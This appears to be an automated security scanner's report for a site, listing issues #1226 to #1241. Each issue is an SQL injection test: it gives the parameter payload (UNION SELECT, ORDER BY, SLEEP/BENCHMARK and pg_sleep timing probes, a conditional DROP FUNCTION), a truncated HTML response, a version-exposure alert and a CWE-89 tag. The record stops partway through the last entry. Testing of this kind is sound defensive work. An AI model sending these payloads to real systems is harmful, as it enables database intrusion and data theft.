Issue Number #1226
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1227Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 19--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1228
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 22#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1229
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1230
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1231
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR x=y--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1232
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1233
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK
(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1234
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1235Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION 
xcjl--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1236
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ")) or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1237
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# %00
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1238
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1239
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# pg_SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1240
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1241
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
